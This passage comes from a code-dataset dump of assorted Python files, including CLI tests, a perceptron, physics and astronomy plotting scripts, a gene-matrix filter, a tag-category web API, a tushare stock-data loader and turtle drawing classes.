input and return\n the CLI object.\n\n This returns a (result, CLI) tuple.\n \"\"\"\n # If the given text doesn't end with a newline, the interface won't finish.\n assert text.endswith('\\n')\n\n loop = PosixEventLoop()\n try:\n inp = PipeInput()\n inp.send(text)\n cli = CommandLineInterface(\n application=Application(),\n eventloop=loop,\n input=inp,\n output=DummyOutput())\n result = cli.run()\n return result, cli\n finally:\n loop.close()\n\n\nclass FeedCliTest(unittest.TestCase):\n def test_simple_text_input(self):\n # Simple text input, followed by enter.\n result, cli = _feed_cli_with_input('hello\\n')\n self.assertEqual(result.text, 'hello')\n self.assertEqual(cli.buffers[DEFAULT_BUFFER].text, 'hello')\n\n def test_emacs_cursor_movements(self):\n \"\"\"\n Test cursor movements with Emacs key bindings.\n \"\"\"\n # ControlA\n result, cli = _feed_cli_with_input('hello\\x01X\\n')\n self.assertEqual(result.text, 'Xhello')\n\n # ControlH or \\b\n result, cli = _feed_cli_with_input('hello\\x08X\\n')\n self.assertEqual(result.text, 'hellX')\n\n # Left.\n result, cli = _feed_cli_with_input('hello\\x1b[DX\\n')\n self.assertEqual(result.text, 'hellXo')\n\n # ControlA, right\n result, cli = _feed_cli_with_input('hello\\x01\\x1b[CX\\n')\n self.assertEqual(result.text, 'hXello')\n\n # ControlA, right\n result, cli = _feed_cli_with_input('hello\\x01\\x1b[CX\\n')\n self.assertEqual(result.text, 'hXello')\n\n # ControlB (Emacs cursor left.)\n result, cli = _feed_cli_with_input('hello\\x02X\\n')\n self.assertEqual(result.text, 'hellXo')\n\n # ControlC: ignored by default, unless the prompt-bindings are loaded.\n result, cli = _feed_cli_with_input('hello\\x03\\n')\n self.assertEqual(result.text, 'hello')\n\n # ControlD: ignored by default, unless the prompt-bindings are loaded.\n result, cli = _feed_cli_with_input('hello\\x04\\n')\n self.assertEqual(result.text, 'hello')\n\n # Left, Left, ControlK\n result, cli = _feed_cli_with_input('hello\\x1b[D\\x1b[D\\x0b\\n')\n self.assertEqual(result.text, 'hel')\n\n # ControlL: should not influence the result.\n result, cli = _feed_cli_with_input('hello\\x0c\\n')\n self.assertEqual(result.text, 'hello')\n","sub_path":"tests/cli_tests.py","file_name":"cli_tests.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"138177034","text":"import numpy as np\nimport math\nfrom numpy import linalg as al\nimport LoadingData as data\ndef logsig(x):\n try:\n a = 1 / (1 + math.exp(-x))\n except OverflowError:\n if x > 0:\n a = 1\n else:\n a = 0\n return a\n\n\ndef perceptron(data,labels, maxiter = 1000, average= False):\n w = np.zeros((34,1))\n anotherc=0\n j=0\n wm =[]\n cm=[]\n c=1\n while(1):\n count=0\n for i in range(0,200):\n x = np.mat(data[i]).transpose()\n y = logsig(np.matmul(w.transpose(), x))\n if y >= 0.5:\n s = 1\n else:\n s= -1\n if s*labels[i] < 0:\n j = j+1\n wm.append(w)\n cm.append(c)\n w = np.add(w, 0.01*labels[i][0]*x)\n count += 1\n c=1\n else:\n c=c+1\n\n if anotherc == maxiter:\n if average == False:\n return w\n else:\n wm = np.array(wm)\n cm = np.array(cm)\n return wm,cm\n anotherc += 1\n\ndef predict(data, weight,cm=0, average= False ):\n pred = np.zeros((len(data),1))\n\n if average== False:\n for i in range(0,len(data)):\n a = logsig(np.matmul(weight.transpose(), data[i].reshape(-1,1)))\n if a>=0.5:\n pred[i][0]=1\n else:\n pred[i][0]=0\n\n else:\n sum2=0\n sum = np.zeros((len(weight[0]),1))\n for j in range(0,len(weight)):\n sum2= sum2 + cm[j]\n sum = np.add(sum,cm[j]*weight[j])\n sum = sum/sum2\n\n for i in range(0,len(data)):\n a = logsig(np.matmul(sum.transpose(), data[i].reshape(-1,1)))\n if a>=0.5:\n pred[i][0] = 1\n else:\n pred[i][0] = -1\n\n return pred\n\n\ndef norm(data,i):\n Y = np.zeros((data.shape[0],data.shape[1]))\n for j in range(0,data.shape[0]):\n n = al.norm(data[j,:],i)\n if n>0:\n Y[j,:] = data[j, :]/n\n return Y\n\n\n","sub_path":"progAssignment2/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"234775837","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nn = 1.5\n\ni1 = math.atan(n)\ni2 = math.asin(math.sin(i1)/n)\nalpha = np.linspace(0, 2*math.pi, 1000)\n\nE1p = (np.tan(i1-i2))/(np.tan(i1+i2))*np.cos(alpha)\nE2p = (2*np.cos(i1))/(n*np.cos(i1)+np.cos(i2))*np.cos(alpha)\nE1s = (np.sin(i2-i1))/(np.sin(i2+i1))*np.sin(alpha)\nE2s = (2*np.cos(i1)*np.sin(i2))/(np.sin(i1+i2))*np.sin(alpha)\n\nI1 = E1p**2 + E1s**2\nI2 = E2p**2 + E2s**2\n\nxticks = [0, 0.5*math.pi, math.pi, 1.5*math.pi, 2*math.pi]\nxticks_display = [0, '$90^{\\circ}$', '$180^{\\circ}$', '$270^{\\circ}$', '$360^{\\circ}$']\n\nplt.xticks(xticks, xticks_display)\nplt.xlabel('$\\\\alpha$')\nplt.ylabel('$I$')\n\nplt.plot(alpha, I1, '-', label='reflection')\nplt.plot(alpha, I2, '--', label='transmission')\nplt.legend()\nplt.savefig('./figures/Ex21_1_1.png', dpi=300, bbox_inches='tight')\nplt.show()\n","sub_path":"code/Ex21_1_1.py","file_name":"Ex21_1_1.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"486831305","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\" \nScript that takes a matrix of counts\nwhere the columns are genes and the rows\nare spot coordinates\n\n gene gene \nXxY\nXxY\n\nAnd keeps the columns of genes\nmatching the regular expression given as input.\n\n@Author Jose Fernandez Navarro \n\"\"\"\n\nimport argparse\nimport sys\nimport os\nimport pandas as pd\nimport re\n\n\ndef main(counts_matrix, reg_exps, outfile):\n\n if not os.path.isfile(counts_matrix):\n sys.stderr.write(\"Error, input file not present or invalid format\\n\")\n sys.exit(1)\n \n if not outfile:\n outfile = \"filtered_{}.tsv\".format(os.path.basename(counts_matrix).split(\".\")[0])\n \n # Read the data frame (genes as columns)\n counts_table = pd.read_csv(counts_matrix, sep=\"\\t\", header=0, index_col=0)\n genes = counts_table.columns\n\n # Keep the genes that match any of the reg-exps\n genes = [gene for gene in genes if any([re.fullmatch(regex,gene) for regex in reg_exps])]\n\n # Write filtered table\n counts_table.loc[:,genes].to_csv(outfile, sep='\\t')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--counts\", required=True,\n help=\"Matrix with gene counts (genes as columns)\")\n parser.add_argument(\"--outfile\", help=\"Name of the output file\")\n parser.add_argument(\"--keep-genes\", help=\"Regular expression for \\\n gene symbols to keep Can be given several times.\",\n default=None,\n type=str,\n action='append')\n args = parser.parse_args()\n main(args.counts, args.keep_genes, args.outfile)\n\n","sub_path":"scripts/keep_genes_matrix.py","file_name":"keep_genes_matrix.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"377944742","text":"from szurubooru.api.base_api import BaseApi\nfrom szurubooru.func import auth, tags, tag_categories, snapshots\n\nclass TagCategoryListApi(BaseApi):\n def get(self, ctx):\n auth.verify_privilege(ctx.user, 'tag_categories:list')\n categories = tag_categories.get_all_categories()\n return {\n 'results': [\n tag_categories.serialize_category(category) \\\n for category in categories],\n }\n\n def post(self, ctx):\n auth.verify_privilege(ctx.user, 'tag_categories:create')\n name = ctx.get_param_as_string('name', required=True)\n color = ctx.get_param_as_string('color', required=True)\n category = tag_categories.create_category(name, color)\n ctx.session.add(category)\n ctx.session.flush()\n snapshots.save_entity_creation(category, ctx.user)\n ctx.session.commit()\n tags.export_to_json()\n return tag_categories.serialize_category_with_details(category)\n\nclass TagCategoryDetailApi(BaseApi):\n def get(self, ctx, category_name):\n auth.verify_privilege(ctx.user, 'tag_categories:view')\n category = tag_categories.get_category_by_name(category_name)\n return tag_categories.serialize_category_with_details(category)\n\n def put(self, ctx, category_name):\n category = tag_categories.get_category_by_name(category_name)\n if ctx.has_param('name'):\n auth.verify_privilege(ctx.user, 'tag_categories:edit:name')\n tag_categories.update_category_name(\n category, ctx.get_param_as_string('name'))\n if ctx.has_param('color'):\n auth.verify_privilege(ctx.user, 'tag_categories:edit:color')\n tag_categories.update_category_color(\n category, ctx.get_param_as_string('color'))\n ctx.session.flush()\n snapshots.save_entity_modification(category, ctx.user)\n ctx.session.commit()\n tags.export_to_json()\n return tag_categories.serialize_category_with_details(category)\n\n def delete(self, ctx, category_name):\n category = tag_categories.get_category_by_name(category_name)\n auth.verify_privilege(ctx.user, 'tag_categories:delete')\n if len(tag_categories.get_all_category_names()) == 1:\n raise tag_categories.TagCategoryIsInUseError(\n 'Cannot delete the default category.')\n if category.tag_count > 0:\n raise tag_categories.TagCategoryIsInUseError(\n 'Tag category has some usages and cannot be deleted. ' +\n 'Please remove this category from relevant tags first..')\n snapshots.save_entity_deletion(category, ctx.user)\n ctx.session.delete(category)\n ctx.session.commit()\n tags.export_to_json()\n return {}\n","sub_path":"server/szurubooru/api/tag_category_api.py","file_name":"tag_category_api.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"177580132","text":"import tushare as ts\n\nfrom ._passwd import TUS_TOKEN\nfrom .layout import *\nfrom .utils.qos import ThreadingTokenBucket\nfrom .utils.xcutils import *\n\n\nclass XcNLBasic(object):\n pro_api = None\n\n def set_trade_cal(self):\n info = self.pro_api.trade_cal()\n info_to_db = info[info['is_open'] == 1].loc[:, 'cal_date']\n return info_to_db\n\n def set_index_info(self):\n \"\"\"\n\n :return:\n \"\"\"\n\n # def conv1(sym, subfix):\n # stock, market = sym.split('.')\n # code = stock + subfix\n # return code\n\n fields = INDEX_INFO_META['columns']\n info1 = self.pro_api.index_basic(market='SSE', fields=fields)\n # info1.loc[:, 'ts_code'] = info1.loc[:, 'ts_code'].apply(conv1, subfix='.XSHG')\n info1.loc[:, 'exchange'] = 'SSE'\n info2 = self.pro_api.index_basic(market='SZSE', fields=fields)\n # info2.loc[:, 'ts_code'] = info2.loc[:, 'ts_code'].apply(conv1, subfix='.XSHE')\n info2.loc[:, 'exchange'] = 'SZSE'\n info = pd.concat([info1, info2], axis=0)\n if not info.empty:\n info.loc[:, 'list_date'].fillna('20000101', inplace=True)\n info.loc[:, 'exp_date'].fillna('21000101', inplace=True)\n return info\n return None\n\n def set_stock_info(self):\n \"\"\"\n 上市状态: L上市 D退市 P暂停上市\n :return:\n \"\"\"\n fields = STOCK_INFO_META['columns']\n info1 = self.pro_api.stock_basic(list_status='L', fields=fields) # 上市状态: L上市 D退市 P暂停上市\n info2 = self.pro_api.stock_basic(list_status='D', fields=fields)\n info3 = self.pro_api.stock_basic(list_status='P', fields=fields)\n info = pd.concat([info1, info2, info3], axis=0)\n if not info.empty:\n # info.loc[:, 'ts_code'] = info.loc[:, 'ts_code'].apply(symbol_tus_to_std)\n info.loc[:, 'delist_date'].fillna('21000101', inplace=True)\n return info\n return None\n\n def set_fund_info(self):\n \"\"\"\n\n :return:\n \"\"\"\n fields = FUND_INFO_META['columns']\n info = self.pro_api.fund_basic(market='E', fields=fields) # 交易市场: E场内 O场外(默认E)\n if not info.empty:\n # info2 = self.pro_api.fund_basic(market='O', fields=fields)\n # info = pd.concat([info1, info2], axis=0)\n # info.loc[:, 'ts_code'] = info.loc[:, 'ts_code'].apply(symbol_tus_to_std)\n info.loc[:, 'list_date'].fillna('20000101', inplace=True)\n info.loc[:, 'delist_date'].fillna('21000101', inplace=True)\n info.loc[:, 'exchange'] = info.loc[:, 'ts_code'].apply(lambda x: 'SSE' if x.endswith('.SH') else 'SZ')\n\n return info\n return None\n\n def set_index_weight(self, index_symbol, date):\n \"\"\"\n tushare index_weight数据, 月初第一个交易日和月末最后一个交易日更新(20200318: 只有月末更新数据?)\n :param index_symbol:\n :param date:\n :return:\n \"\"\"\n # 找到所处月份的最后一个交易日\n if not isinstance(date, pd.Timestamp):\n date = pd.Timestamp(date)\n\n valid_day = date.strftime(DATE_FORMAT)\n info = self.pro_api.index_weight(index_code=index_symbol, trade_date=valid_day)\n if not info.empty:\n # # t_dates = pd.to_datetime(info['trade_date'], format='%Y%m%d')\n # # info = info[t_dates >= m_start]\n # dtkey = info.loc[:, 'trade_date'].iloc[-1]\n\n # info.loc[:, 'con_code'] = info['con_code'].apply(symbol_tus_to_std)\n info = info[info['trade_date'] == valid_day]\n return info\n return info\n\n def set_index_classify(self, level, src='SW'):\n \"\"\"\n 申万行业分类\n\n 接口:index_classify\n 描述���获取申万行业分类,包括申万28个一级分类,104个二级分类,227个三级分类的列表信息\n :return:\n \"\"\"\n lkey = level.upper()\n info = self.pro_api.index_classify(level=lkey, src=src)\n return info\n\n def set_index_member(self, index_code):\n \"\"\"\n\n :param index_code:\n :return:\n \"\"\"\n\n info = self.pro_api.index_member(index_code=index_code, fields=INDEX_MEMBER_META['columns'])\n if not info.empty:\n # info.loc[:, 'con_code'] = info['con_code'].apply(symbol_tus_to_std)\n return info\n return info\n\n\nclass XcNLPrice(object):\n pro_api = None\n master_db = None\n ts_token = None\n\n def set_price_daily(self, code, start, end, astype='E'):\n \"\"\"\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n\n self.ts_token.block_consume(5)\n data = ts.pro_bar(code, asset=astype, start_date=start_raw, end_date=end_raw, freq='D')\n if data is not None:\n data = data.rename(columns={'vol': 'volume'})\n return data\n\n # from ratelimit import limits, sleep_and_retry\n # @sleep_and_retry\n # @limits(30, period=120)\n def set_price_minute(self, code, start, end, freq='1min', astype='E', merge_first=True):\n \"\"\"\n Note: 停牌时,pro_bar对于分钟K线,仍然能取到数据,返回的OHLC是pre_close值, vol值为0.\n 但对于停牌时的日线, 则没有数据。\n :param code:\n :param start:\n :param end:\n :param freq:\n :param merge_first: True, merge first 9:30 Kbar to follow KBar.\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n start_raw = start.strftime(DATETIME_FORMAT)\n end_raw = (end + pd.Timedelta(hours=17)).strftime(DATETIME_FORMAT)\n\n self.ts_token.block_consume(10)\n data = ts.pro_bar(code, asset=astype, start_date=start_raw, end_date=end_raw, freq=freq)\n if data is not None:\n data = data.rename(columns={'vol': 'volume'})\n # convert %Y-%m-%d %H:%M:%S to %Y%m%d %H:%M:%S\n data['trade_time'] = data['trade_time'].apply(lambda x: x.replace('-', ''))\n\n nbars = XTUS_FREQ_BARS[freq] + 1\n if len(data) % nbars != 0:\n \"\"\"\n 002478.SZ, 2020-07-20 00:00:00-2020-09-24 00:00:00, 2372-49\n 002481.SZ, 2020-07-20 00:00:00-2020-09-24 00:00:00, 2381-49\n \"\"\"\n log.error('min kbar length incorrect: {}, {}-{}, {}-{}'.format(code, start, end, len(data), nbars))\n return None\n\n if merge_first:\n # Handle the first row of every day. (the Kbar at 9:30)\n # Note : Data from tushare is in reverse order\n for k in range(len(data) - 1, 0, -nbars):\n v = data\n if True:\n # open KBar check.\n # assert (v.loc[k - 1, 'pre_close'] == v.loc[k, 'close']) # Only work for Stocks\n tt = pd.Timestamp(v.trade_time[k])\n assert ((tt.hour == 9) & (tt.minute == 30))\n\n v.loc[k - 1, 'open'] = v.loc[k, 'open'] # Open\n v.loc[k - 1, 'high'] = v.loc[(k - 1):k, 'high'].max() # High\n v.loc[k - 1, 'low'] = v.loc[(k - 1):k, 'low'].min() # low\n v.loc[k - 1, 'volume'] = v.loc[(k - 1):k, 'volume'].sum() # volume\n v.loc[k - 1, 'amount'] = v.loc[(k - 1):k, 'amount'].sum() # amount\n\n mask = (np.arange(len(data)) % nbars) != (nbars - 1)\n data = data[mask]\n\n else:\n log.error('min data empty: {}, {}-{}'.format(code, start_raw, end_raw))\n return data\n\n def set_stock_daily_info(self, code, start, end):\n \"\"\"\n write stock daily information.\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n fcols = STOCK_DAILY_INFO_META['columns']\n\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n\n self.ts_token.block_consume(7)\n # 每分钟最多访问该接口700次\n data = self.pro_api.daily_basic(ts_code=code, start_date=start_raw, end_date=end_raw,\n fields=fcols + ['trade_date'])\n\n return data\n\n def set_stock_adjfactor(self, code, start, end):\n \"\"\"\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n fcols = STOCK_ADJFACTOR_META['columns']\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n self.ts_token.block_consume(1)\n data = self.pro_api.adj_factor(ts_code=code, start_date=start_raw, end_date=end_raw,\n fields=fcols + ['trade_date'])\n\n return data\n\n def set_stock_moneyflow(self, code, start, end):\n \"\"\"\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n # fcols = STOCK_ADJFACTOR_META['columns']\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n self.ts_token.block_consume(1)\n data = self.pro_api.moneyflow(ts_code=code, start_date=start_raw, end_date=end_raw)\n\n return data\n\n def set_stock_bakdaily(self, code, start, end):\n \"\"\"\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n self.ts_token.block_consume(1)\n data = self.pro_api.bak_daily(ts_code=code, start_date=start_raw, end_date=end_raw)\n\n return data\n\n def set_stock_margindetail(self, code, start, end):\n \"\"\"\n :param code:\n :param start:\n :param end:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n self.ts_token.block_consume(1)\n data = self.pro_api.margin_detail(ts_code=code, start_date=start_raw, end_date=end_raw)\n\n return data\n\n def set_stock_suspend_d(self, code, start, end):\n \"\"\"\n 股票停复牌信息\n 注: 股票存在停牌半天的情况。但也会在suspend列表中体现\n :param code:\n :return:\n \"\"\"\n if not isinstance(start, pd.Timestamp):\n start, end = pd.Timestamp(start), pd.Timestamp(end)\n\n fcols = STOCK_SUSPEND_D_META['columns']\n\n start_raw = start.strftime(DATE_FORMAT)\n end_raw = end.strftime(DATE_FORMAT)\n self.ts_token.block_consume(1)\n data = self.pro_api.suspend_d(ts_code=code, start_date=start_raw, end_date=end_raw, fields=fcols)\n\n return data\n\n def set_suspend_d(self, date):\n \"\"\"\n 股票停复牌信息\n 注: 股票存在停牌半天的情况。但也会在suspend列表中体现\n :param code:\n :return:\n \"\"\"\n fcols = SUSPEND_D_META['columns']\n if not isinstance(date, pd.Timestamp):\n date = pd.Timestamp(date)\n start_raw = date.strftime(DATE_FORMAT)\n\n self.ts_token.block_consume(1)\n data = self.pro_api.suspend_d(trade_date=start_raw, fields=fcols)\n\n return data\n\n def set_stock_xdxr(self, code):\n \"\"\"\n 股票除权除息信息,如需更新,则更新股票历史所有数据。\n :param code:\n :return:\n \"\"\"\n self.ts_token.block_consume(10)\n info = self.pro_api.dividend(ts_code=code)\n # fcols = STOCK_XDXR_META['columns']\n # info_to_db = info_to_db.iloc[::-1]\n return info\n\n def set_stock_suspend(self, code):\n \"\"\"\n 股票停复牌信息\n 注: 股票存在停牌半天的情况。但也会在suspend列表中体现\n :param code:\n :return:\n \"\"\"\n info = self.pro_api.suspend(ts_code=code)\n return info\n\n\nclass XcNLFinance(object):\n pro_api = None\n\n def set_income(self, code, period):\n fcols = STOCK_FIN_INCOME_META['columns']\n data = self.pro_api.income(ts_code=code, period=period, fields=fcols)\n\n return data\n\n def set_balancesheet(self, code, period):\n fcols = STOCK_FIN_BALANCE_META['columns']\n data = self.pro_api.balancesheet(ts_code=code, period=period, fields=fcols)\n\n return data\n\n def set_cashflow(self, code, period):\n fcols = STOCK_FIN_CASHFLOW_META['columns']\n data = self.pro_api.cashflow(ts_code=code, period=period,\n fields=fcols)\n return data\n\n def set_fina_indicator(self, code, period):\n fcols = STOCK_FIN_INDICATOR_META['columns']\n data = self.pro_api.fina_indicator(ts_code=code, period=period,\n fields=fcols)\n return data\n\n\nclass TusNetLoader(XcNLBasic, XcNLFinance, XcNLPrice):\n\n def __init__(self):\n \"\"\"\n :param last_day: Tushare last date with data available,\n we assume yesterday's data is available in today.\n \"\"\"\n # self.calendar = get_calendar('XSHG')\n ts.set_token(TUS_TOKEN)\n self.pro_api = ts.pro_api()\n\n # 每分钟不超过500次,每秒8次,同时api调用不超过300个。\n self.ts_token = ThreadingTokenBucket(80, 300)\n\n super(TusNetLoader, self).__init__()\n\n\ngnetloader: TusNetLoader = None\n\n\ndef netloader_init() -> TusNetLoader:\n global gnetloader\n if gnetloader is None:\n gnetloader = TusNetLoader()\n return gnetloader\n","sub_path":"proloader.py","file_name":"proloader.py","file_ext":"py","file_size_in_byte":14450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"215418532","text":"from collections import Counter\nclass Solution:\n def minSetSize(self, arr: List[int]) -> int:\n arr_count = Counter(arr)\n set_size = 0\n removed_elements = 0\n \n for count in sorted(arr_count.values(), reverse=True):\n removed_elements += count\n set_size += 1\n if removed_elements >= len(arr) / 2:\n return set_size\n ","sub_path":"DailyInterviewQuestions/ReduceArraySizeToHalf.py","file_name":"ReduceArraySizeToHalf.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"131699648","text":"from turtle import Turtle\nfrom lecture_07.task_01.modules.figure import Figure\n\n\nclass RegularPolygon(Figure):\n steps = None\n\n def __init__(self, center_x: int=0, center_y: int=0, radius: int=0, num_sides: int=0, color: str='black'):\n super().__init__(center_x, center_y, color)\n self.radius = radius\n self.num_sides = num_sides\n\n def draw(self, turtle:Turtle):\n super().draw(turtle)\n self.jump_to(turtle, self.center_x, -self.radius)\n turtle.circle(self.radius, steps=self.num_sides)\n self.jump_to(turtle, 0, 0)\n","sub_path":"lecture_07/task_01/modules/regular_polygon.py","file_name":"regular_polygon.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"529251866","text":"from pylab import *\n\n### AUXILIARY FUNCTIONS\n# 3PMMR curve for plotting\ndef fi_plot(x,a,b,c):\n f = ((-b-a*x)/c)**(-1)\n return f\n\n# fix discontinuities in 3PMMRs for plotting\ndef fix_curve(yl):\n difs = np.roll(yl,-1)-yl\n difs = np.abs(difs)\n mask = np.where(difs>(.5*(np.max(yl)-np.min(yl))))\n yl2 = np.copy(yl)\n yl2[mask] = np.nan\n return(yl2)\n\n\n# a lot of 3PMMRs (the ones tested for strength)\nresl=['121','132','143','253','275','352','374','385','473','4117','3107','594','5149','3118','4139','7125','6115','495','583']\n# our selected 3PMMRs\nres_bl=['132','253','121','374','385','495','102','203','594']\n\nl1,l2 = 1.2,1.7 # domain limits\n\n# observed triplets\nx0,y0 = np.genfromtxt('../datasets/triplets/known_lowmass_compact_triplets.dat',usecols=[0,1],delimiter=',',unpack=True)\n\n\n### FIGURE\nfac = 1.2\nplt.figure(figsize=(10/fac,10/fac))\n\nsl = 18\nst = 15\nse1 = 90\nse2 = 50\n\nxlabel(r'${\\rm n_i/n_{(i+1)}}$',size=sl)\nylabel(r'${\\rm n_{(i+1)}/n_{(i+2)}}$',size=sl)\nxticks(size=st)\nyticks(size=st)\n\n# observed triplets\nplt.scatter(x0,y0,s=se1,color='yellow',zorder=112,label='Observados')\nplt.scatter(x0,y0,s=se2,color='black',zorder=112,label='Observados')\n\n# plot 2PMMR\nfor res2p in [5/4.,4/3.,3/2.]:\n plt.vlines(res2p,l1,l2,linestyles='solid',colors='black',lw=1)\n plt.hlines(res2p,l1,l2,linestyles='solid',colors='black',lw=1)\n\n# 3PMMRs - strength width and plotting\ndom=np.linspace(l1,l2+.2,50)\nfor res in resl:\n # samples of the strength F of the 3PMMR (a,b,c) at point (x,y) of the period ratio plane\n x,y,a,b,c,F=np.genfromtxt('mmrs_sampled/'+res+'.dat',unpack=True,skip_header=1) \n a,b,c=int(a[0]),int(b[0]),int(c[0])\n\n inplot = (x>=l1/2.)&(x<=l2*2)&(y>=l1/2.)&(y<=l2*2)\n\n y = y[inplot]\n x = x[inplot]\n F = F[inplot]\n \n # width proportional to F by an arbitrary function that allows for visual comparison\n size=2.5*(F*10**9)*2. #\n size*=0.2\n \n # plot widths\n if res in res_bl:\n color = '#86b5d5'\n else:\n color = 'lightcoral'\n plt.fill_between(x, y-size*.5, y+size*.5,alpha=1,color=color,edgecolor=None)\n plt.fill_betweenx(y,x-size*.5, x+size*.5,alpha=1,color=color,edgecolor=None)\n\n # grey areas\n if res=='4139':\n ylimmin = y-0.01-0.04*(y-1.33)\n # plot(x,ylimmin,color='black',ls='dashed',zorder=1000)\n fill_between(x,ylimmin,color='gray',alpha=0.3,zorder=300)\n\n if res=='594':\n ylimmax = y+0.02+0.04*(y-1.5)\n # plot(x,ylimmax,color='black',ls='dashed',zorder=1000)\n fill_between(x,ylimmax,1.7,color='gray',alpha=0.3,zorder=300)\n \n # MMR labels\n a=int(res[0])\n b=-1*int(res[1])\n c=int(res[-1])\n if len(res)==4:\n b=-1*int(res[1:3]) \n \n fi = fi_plot(dom,a,b,c) # y values of (a,b,c)\n xtext = dom[(fi<=l2)&(fi>=l1)&(dom<=l2)&(dom>=l1)][-1]+0.005\n ytext = fi_plot(xtext,a,b,c)\n \n text = '('+str(a)+','+str(b)+','+str(c)+')'\n \n if ytext>=1.66:\n xtext = xtext - 0.015\n ytext = l2 + .005\n text = '('+str(a)+','+str(b)+','+str(c)+')'\n if res=='473' or res=='121':\n xtext+=0.01\n if res=='4117':\n xtext = dom[(fi<=l2)&(fi>=l1)&(dom<=l2)&(dom>=l1)][-1]+0.004\n ytext = fi_plot(xtext,a,b,c)\n text = '('+str(a)+','+str(b)+','+str(c)+')'\n \n if res=='7125' or res=='6115' or res=='4117' or res=='4139' or res=='5149' or res=='3107' or res=='3118' or res=='583' or res=='352' or res=='473' or res=='275' or res=='143' or res=='':\n text = ' '\n \n rot = 60\n if res == '583' or res == '352':\n rot = 80\n if res == '473' or res == '594':\n rot = 76\n if res == '121' :\n rot = 72\n if res == '374' or res == '495' :\n rot = 65\n if res == '132' or res == '275' :\n rot = 45\n if res == '275' :\n rot = 37\n if res == '143' :\n rot = 30\n \n plt.text(xtext,ytext,text,size=14,rotation=rot)\n\nplt.xlim(l1,l2)\nplt.ylim(l1,l2)\n\nsavefig('res_strengths.png',bbox_inches='tight',dpi=100)\n\nshow()\n","sub_path":"resonance_strengths/res_strengths.py","file_name":"res_strengths.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"616549657","text":"ANSWER = 986262\nLIMIT = 10 ** 7\n\n\ndef main():\n lst = [0 for _ in range(LIMIT + 1)]\n for i in range(2, int(LIMIT ** 0.5) + 1):\n for j in range(i * i, LIMIT + 1, i):\n lst[j] += 2\n lst[i * i] -= 1\n result = 0\n for i in range(2, LIMIT):\n if lst[i] == lst[i+1]:\n result += 1\n return result\n\n\nif __name__ == '__main__':\n print(main())\n","sub_path":"python/problem179.py","file_name":"problem179.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575392426","text":"\"\"\"\n* EFREI - Licence 1 - Année 2020-2021 Semestre 1\n* Programmation en Python\n* PROJET \"L’harmonie est numérique\"\n* Auteurs :\n - Alexandre DOVI\n - Clément LE STRAT\n\n* Descriptif du module :\n\nLibrairie de gestion des animations à appeler pendant que l'on joue les comptines.\n\"\"\"\n\n# Import des librairies natives\nimport turtle\nimport random\n\n\ndef init_turtle(title=\"\"):\n \"\"\"\n Initialisation de la bibliothèque turtle à appeler avant le lancement des animations\n\n :param title: Titre de la fenêtre. Par défaut, le titre est vide\n :type title: str\n :return: Fenêtre d'affichage des animations, et Tortue à utiliser pour créer les animations\n :rtype: (turtle.Screen(), turtle.turtle())\n \"\"\"\n\n # Il faudrait forcer la taille de la fenêtre ?\n\n # Les lignes suivantes sont là pour palier à un bug qui nous empêchait de fermer et relancer les animations\n # plusieurs fois. Nous n'avons pas compris exactement pourquoi, mais nous nous sommes basés sur l'article :\n # https://stackoverflow.com/a/44269062\n turtle.Turtle._screen = None\n turtle.TurtleScreen._RUNNING = True\n # initialisation de la fenêtre, fond d'écran noir, et mode RGB pour l'animation, Titre de la fenêtre = title\n wn = turtle.Screen()\n 